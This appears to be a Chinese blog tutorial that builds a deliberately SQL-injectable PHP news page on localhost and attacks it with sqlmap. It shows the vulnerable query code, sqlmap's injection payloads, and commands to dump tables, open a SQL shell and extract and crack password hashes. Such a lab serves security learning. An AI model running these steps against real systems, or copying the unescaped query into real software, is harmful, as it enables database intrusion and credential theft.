搭建SQL注入环境（一）

小灰灰 2023-06-20 06:54 20阅读 0赞

## 环境 ##

*  HTML代码：

<!DOCTYPE html>
    <html lang="en">
    <head>
    	<meta charset="UTF-8">
    	<title>News</title>
    </head>
    <body>
    	<form action="news.php" method="get" >
    		<input type="hidden" name="id" id="1" value="1">
    		<button type="submit">新闻1</button>
    	</form>
    	<form action="news.php" method="get">
    		<input type="hidden" name="id" id="2" value="2">
    		<button type="submit">新闻2</button>
    	</form>
    	<form action="news.php" method="get">
    		<input type="hidden" name="id" id="3" value="3">
    		<button type="submit">新闻3</button>
    	</form>
    </body>
    </html>

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70]

*  php代码：

<?php 
    	$serverName = "127.0.0.1:3306";
    	$username = "root";
    	$passwd = "root";
    	$dbName = "php_test";
    	
    	$conn = mysqli_connect($serverName, $username, $passwd, $dbName);
    	if(!$conn)
    		die("数据库连接失败！" . mysql_error());
    	// 接收表单内容
    	$id = $_GET["id"];
    	// $passwd = $_POST["passwd"];
    	// 生成SQL语句
    	$sql = "SELECT content FROM news WHERE id = { $id};";
    	// SQL查询
    	$result = mysqli_query($conn, $sql);
    	// 判断是否有符合条件的行
    	if(mysqli_num_rows($result) <= 0){  ?>
    		<p style="text-align: center; font-size: 20">Error！！！</p>
    	<?php }
    	else{  
    		while ($row = mysqli_fetch_assoc($result)) { ?>
    			<p style="text-align: center; font-size: 20"><?php echo $row["content"]; ?></p>
    		<?php }
    	}
    	// 输出本次查询的SQL语句
    	echo "<br/><br/>";
    	echo "SQL语句：", $sql;
    	mysqli_close($conn);
     ?>

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 1]

## 注入测试 ##

*  Sqlmap进行扫描

python sqlmap.py -u "http://localhost:8080/php/php_study/sql/SQL Injection/news.php?id=1"

扫描结果

---
    Parameter: id (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: id=1 AND 8161=8161
    
        Type: error-based
        Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
        Payload: id=1 OR (SELECT 2761 FROM(SELECT COUNT(*),CONCAT(0x716a786271,(SELECT (ELT(2761=2761,1))),0x717a767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: id=1 AND (SELECT 3708 FROM (SELECT(SLEEP(5)))cpun)
    
        Type: UNION query
        Title: Generic UNION query (NULL) - 1 column
        Payload: id=1 UNION ALL SELECT CONCAT(0x716a786271,0x635243766664686562586d504c70654b6364456e434a75494a4a427769757950666c795463445653,0x717a767171)-- KDFo
    ---
    [14:50:35] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 2]

*  存在注入，开始查库

python sqlmap.py -u " …… " --dbs

查询结果：  
![在这里插入图片描述][20191209150946412.png]

*  查 php\_test 的表

python sqlmap.py -u " …… " -D php_test --tables

查询结果：  
![在这里插入图片描述][20191209151201736.png]

*  查 user 表的字段

python sqlmap.py -u " …… " -D php_test -T user --columns

查询结果：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 3]

*  查 username 字段内容

python sqlmap.py -u " …… " -D php_test -T user -C username --dump

查询结果：  
![在这里插入图片描述][20191209152309109.png]

*  其余同理。

## 扩展 ##

*  创建一个和数据库交互的shell（`--sql-shell`）

python sqlmap.py -u " …… " --sql-shell

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 4]

*  查询数据库所有账户（`--users --password`）

python sqlmap.py -u " …… " --users --password

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 5]  
将此hash解密（查表）  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 6]

*  查询指定库的所有信息（`-a`）

python sqlmap.py -u " …… " -D php_test -a

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 7]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20191209145546565.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20191209145644551.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20191209150637988.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[20191209150946412.png]: https://img-blog.csdnimg.cn/20191209150946412.png
[20191209151201736.png]: https://img-blog.csdnimg.cn/20191209151201736.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/20191209151500871.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[20191209152309109.png]: https://img-blog.csdnimg.cn/20191209152309109.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 4]: https://img-blog.csdnimg.cn/20191209153406891.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 5]: https://img-blog.csdnimg.cn/2019120915283611.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 6]: https://img-blog.csdnimg.cn/20191209152935792.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 7]: https://img-blog.csdnimg.cn/20191209152110706.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw,size_16,color_FFFFFF,t_70